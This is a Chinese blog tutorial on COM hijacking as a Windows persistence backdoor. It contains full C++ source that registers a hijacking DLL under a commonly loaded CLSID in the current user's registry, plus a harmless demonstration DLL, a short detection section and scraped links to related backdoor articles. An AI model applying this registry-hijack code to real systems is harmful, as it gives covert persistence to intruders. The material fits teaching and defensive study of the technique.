后门及持久化访问4----Com组件劫持
代码及原理介绍
COM是Component Object Model(组件对象模型)的缩写,COM组件由DLL和EXE形式发布的可执行代码所组成。每个COM组件都有一个CLSID,这个CLSID是注册的时候写进注册表的,可以把这个CLSID理解为这个组件最终可以实例化的子类的一个ID。这样就可以通过查询注册表中的CLSID来找到COM组件所在的dll的名称。所以要想COM劫持,必须精心挑选CLSID,尽量选择应用范围广的CLSID。这里,我们选择的CLSID为:{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7},来实现对CAccPropServicesClass 和 MMDeviceEnumerator的劫持。系统很多正常程序启动时需要调用这两个实例。例如计算器。
Dll存放的位置://%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C4579291692E}
接下来就是修改注册表,在指定路径添加文件,具体代码如下:
#include <iostream>
#include <Windows.h>
#include <string>
using namespace std;
int main(int argc, char* argv[])
{
string type=argv[1];
if (argc > 1) {
HKEY hKey;
DWORD dwDisposition;
//%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C45792916//92E}
char system1[] = "C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\qianxiao996.dll";
char system2[] = "Apartment";
string defaultPath = "C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}";
string szSaveName = "C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\qianxiao996.dll";
if ("-go" == type)
{
//string folderPath = defaultPath + "\\testFolder";
string command;
command = "mkdir -p " + defaultPath;
if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
{
printf("创建注册表失败!");
return 0;
}
if (ERROR_SUCCESS != RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)system1, (1 + ::lstrlenA(system1))))
{
printf("设置DLL文件失败!");
return 0;
}
if (ERROR_SUCCESS != RegSetValueExA(hKey, "ThreadingModel", 0, REG_SZ, (BYTE*)system2, (1 + ::lstrlenA(system2))))
{
printf("设置ThreadingModel失败!");
return 0;
}
::MessageBoxA(NULL, "comHijacking OK!", "OK", MB_OK);
}
if ("-down" == type)
{
if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
{
printf("创建注册表失败!");
return 0;
}
if (ERROR_SUCCESS != RegDeleteValueA(hKey, NULL))
{
printf("移除DLL文件失败!");
return 0;
}
if (ERROR_SUCCESS != RegDeleteValueA(hKey, "ThreadingModel"))
{
printf("移除ThreadingModel失败!");
return 0;
}
remove(szSaveName.c_str());
remove(defaultPath.c_str());
::MessageBoxA(NULL, "Delete comHijacking OK!", "OK", MB_OK);
}
}
//system("pause");
else
{
printf("Usage:\n comHijacking.exe -go 进行COM劫持\n comHijacking.exe -down 移除COM劫持");
}
return 0;
}
别问我为什么不写在两个函数里,因为我不会。
DLL文件代码(这里的DLL代码就是用的上次的那个DLL文件)
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
MessageBoxA(0, "hello qianxiao996", "AppCert", 0);
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
运行效果图
运行生成的EXE文件(管理员运行),注意-go是安装劫持,-down是移除劫持.
运行后,会生成以下目录:
C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}
然后将自己写好的DLL文件放入当前目录中
会生成以下注册表项
运行计算器,调用qianxiao996.dll 弹出对话框:
移除COM劫持
检查及清除方法
由于COM对象是操作系统和已安装软件的合法部分,因此直接阻止对COM对象的更改可能会对正常的功能产生副作用。相比之下,使用白名单识别潜在的病毒会更有效。
现有COM对象的注册表项可能很少发生更改。当具有已知路径和二进制的条目被替换或更改为异常值以指向新位置中的未知二进制时,它可能是可疑的行为,应该进行调查。同样,如果收集和分析程序DLL加载,任何与COM对象注册表修改相关的异常DLL加载都可能表明已执行COM劫持。
后门及持久化访问4----Com组件劫持的更多相关文章
- 后门及持久化访问3----进程注入之AppInit_DLLs注册表项
进程注入之AppInit_DLLs注册表项 User32.dll被加载到进程时,会获取AppInit_DLLs注册表项,若有值,则调用LoadLibrary() API加载用户DLL.只会影响加载了u ...
- 后门及持久化访问2----进程注入之AppCertDlls 注册表项
代码及原理介绍 如果有进程使用了CreateProcess.CreateProcessAsUser.CreateProcessWithLoginW.CreateProcessWithTokenW或Wi ...
- htaccess文件还可以被用来把访问网站的流量劫持到黑客的网站
看是否有文件上传操作(POST方法), IPREMOVED--[01/Mar/2013:06:16:48-0600]"POST/uploads/monthly_10_2012/view.ph ...
- windows的iis做后门,隐藏访问,无日志<转>
windows下的iis5/iis6做后门,隐藏访问,不留访问记录或者不留日志 好不容易攻下一台Windows2000/2003 IIS服务器,你一定会想,怎样才能长期占有这个“肉鸡”呢?聪明的你肯定 ...
- windows的iis做后门,隐藏访问,无日志
windows下的iis5/iis6做后门,隐藏访问,不留访问记录或者不留日志 好不容易攻下一台Windows2000/2003 IIS服务器,你一定会想,怎样才能长期占有这个“肉鸡”呢?聪明的你肯定 ...
- extjs中第一次访问有效,第二次访问出现部分组件无法显示的,动态改变组件的label值的方法,ExtJs中组件最好少使用ID属性(推荐更多使用Name属性)
在公司做的一个OA项目中,曾经就遇到了这样的一个问题:(我是在jsp中的div中将js render到div中去的)第一次访问此界面的时候,formpanel上的组件能正常显示,不刷新整个页面的前提下 ...
- Django REST framework 自定义(认证、权限、访问频率)组件
本篇随笔在 "Django REST framework 初识" 基础上扩展 一.认证组件 # models.py class Account(models.Model): &qu ...
- React: 通过React.Children访问特定子组件
一.简介 React中提供了很多常用的API,其中有一个React.Children可以用来访问特定组件的子元素.它允许用来统计个数.map映射.循环遍历.转换数组以及显示指定子元素,如下所示: va ...
- ADO.NET程序访问数据的组件
组成--数据集(内存中的数据库) --DataSet数据集 --DataTable数据表 --DataColumn数据列 --DataRow数据行 --DataView数据视图--NET数据提供程序 ...
随机推荐
- Spring Boot-开启第一步
Spring Boot开发的目的是为了简化Spring应用的开发,使用Spring Boot可以零配置开启一个Spring应用.这得益于Spring Boot中的自动配置组件,如果开发者觉得默认的配置 ...
- 05 BOM与DOM
BOM和DOM 1. 什么是BOM和DOM 到目前为止,我们已经学过了JavaScript的一些简单的语法.但是这些简单的语法,并没有和浏览器有任何交互. 也就是我们还不能制作一些我们经常看到的网页的 ...
- Solution -「多校联训」小卖部
\(\mathcal{Description}\) Link. 有 \(n\) 种物品,第 \(i\) 中有 \(a_i\) 个,单价为 \(b_i\).共 \(q\) 次询问,每次查询用不超 ...
- Solution -「SPOJ-VCIRCLES」Area of Circles
\(\mathcal{Description}\) Link. 求平面上 \(n\) 个圆的并的面积. \(n\le50\),可能被圆覆盖的横纵坐标区域在 \([-10^4,10^4]\) ...
- 关于IDA无法从symbol server下载pdb的问题
在ida目录下,symsrv.dll同目录下创建一个symsrv.yes文件. symsrv.yes将可下载: symsrv.no将失败: 没有相关文件将会弹出授权询问,选择yes和no将创建对应文件 ...
- IPMI日常使用
重启ipmi: ipmitool mc reset <warm|cold> warm表示软重启: cold表示硬重启: 设置IPMI地址: ipmitool lan set 1 i ...
- 关于 Xcode 更新 appleID 更换
可能不少人会遇到 前一位同事走之后,他的 appID帐号下载的东西更新不了 下面给予大家一个解决办法 例如 Xcode 1.打开引用程序目录 2.找到Xcode,右键"显示包内容&quo ...
- CSS代码示例-背景属性(background)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- 使用ensp模拟器中的防火墙(USG6000V)配置NAT(网页版)
使用ensp模拟器中的防火墙(USG6000V)配置NAT(网页版)一.NAT介绍NAT(Network Address Translation,网络地址转换):简单来说就是将内部私有地址转换成公网地 ...
- flask 中使用蓝图将路由分开写在不同文件
flask 若想将不同的路由写在不同的文件中(如将 user 对象的相关接口写在一个文件中,将 customer 对象的相关接口写在另一个文件中),可以使用蓝图来实现. 有关蓝图的定义:A Bluep ...